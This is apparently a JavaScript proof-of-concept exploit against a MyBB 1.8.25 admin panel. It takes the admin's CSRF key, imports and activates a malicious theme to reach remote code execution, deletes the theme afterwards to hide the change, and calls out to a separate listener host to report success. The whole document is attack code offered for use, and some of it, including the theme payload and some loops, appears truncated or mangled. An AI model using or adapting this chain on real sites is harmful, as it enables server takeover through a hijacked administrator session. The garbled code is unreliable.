var bashurl = 'http://192.168.92.164/mybb/mybb-mybb_1825' var attack_url = 'http://192.168.92.165:8080/attack_success' var my_post_key = '' var source_theme = ''; var evil_theme_set = '' var evil_theme_tid = '' function sleep (time) { return new Promise((resolve) => setTimeout(resolve, time)); } function get_themes(){ var url = bashurl + '/admin/index.php?module=style' var xhr=new XMLHttpRequest(); xhr.open('GET',url,false); xhr.onreadystatechange=function(){ // readyState == 4说明请求已完成 if(xhr.readyState==4){ if(xhr.status==200 || xhr.status==304){ var res = xhr.responseText; var parser = new DOMParser(); var doc3 = parser.parseFromString(res, "text/html"); var source_theme_tid = ''; imgs = doc3.getElementsByTagName("img"); for(var i=0;i', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '' ].join('\n'); var blob = new Blob([content], { type: "text/xml"}); formData.append("local_file", blob); var request = new XMLHttpRequest(); request.open("POST", url); request.send(formData); } function set_evil_theme(){ var url = bashurl + '/admin/index.php?module=style' var xhr=new XMLHttpRequest(); xhr.open('GET',url,false); xhr.onreadystatechange=function(){ // readyState == 4说明请求已完成 if(xhr.readyState==4){ if(xhr.status==200 || xhr.status==304){ var res = xhr.responseText; var evil_theme = ''; var parser = new DOMParser(); var doc3 = parser.parseFromString(res, "text/html"); aTag = doc3.getElementsByTagName("a") for(var i=0;i',false); xhr.send(); } function clean(){ // reset default theme var xhr1=new XMLHttpRequest(); xhr1.open('GET',source_theme,false); xhr1.send(); var xhr2 = new XMLHttpRequest(); var formData = new FormData(); var url = bashurl + '/admin/index.php?module=style-themes&action=delete&tid=' + evil_theme_tid formData.append("my_post_key", my_post_key); xhr2.open("POST", url); xhr2.send(formData); } function notice_attack(){ var xhr1=new XMLHttpRequest(); xhr1.open('GET',attack_url,false); xhr1.send(); } get_themes() if(my_post_key != ''){ import_xml() sleep(300).then(() => { set_evil_theme() trigger_rce() clean() notice_attack() }) }